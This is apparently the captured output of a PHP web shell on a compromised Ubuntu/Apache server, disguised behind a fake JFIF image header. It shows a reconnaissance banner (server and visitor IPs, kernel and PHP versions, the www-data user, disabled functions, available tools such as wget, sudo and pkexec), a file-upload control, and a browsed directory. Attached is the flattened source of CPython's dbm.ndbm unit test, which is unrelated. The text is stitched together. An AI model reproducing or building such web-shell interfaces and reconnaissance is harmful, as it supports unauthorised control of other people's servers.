????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.128.205.62 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/Python-3.6.3/Lib/test/ |
Upload File : |
from test import support support.import_module("dbm.ndbm") #skip if not supported import unittest import dbm.ndbm from dbm.ndbm import error class DbmTestCase(unittest.TestCase): def setUp(self): self.filename = support.TESTFN self.d = dbm.ndbm.open(self.filename, 'c') self.d.close() def tearDown(self): for suffix in ['', '.pag', '.dir', '.db']: support.unlink(self.filename + suffix) def test_keys(self): self.d = dbm.ndbm.open(self.filename, 'c') self.assertTrue(self.d.keys() == []) self.d['a'] = 'b' self.d[b'bytes'] = b'data' self.d['12345678910'] = '019237410982340912840198242' self.d.keys() self.assertIn('a', self.d) self.assertIn(b'a', self.d) self.assertEqual(self.d[b'bytes'], b'data') self.d.close() def test_modes(self): for mode in ['r', 'rw', 'w', 'n']: try: self.d = dbm.ndbm.open(self.filename, mode) self.d.close() except error: self.fail() def test_context_manager(self): with dbm.ndbm.open(self.filename, 'c') as db: db["ndbm context manager"] = "context manager" with dbm.ndbm.open(self.filename, 'r') as db: self.assertEqual(list(db.keys()), [b"ndbm context manager"]) with self.assertRaises(dbm.ndbm.error) as cm: db.keys() self.assertEqual(str(cm.exception), "DBM object has already been closed") if __name__ == '__main__': unittest.main()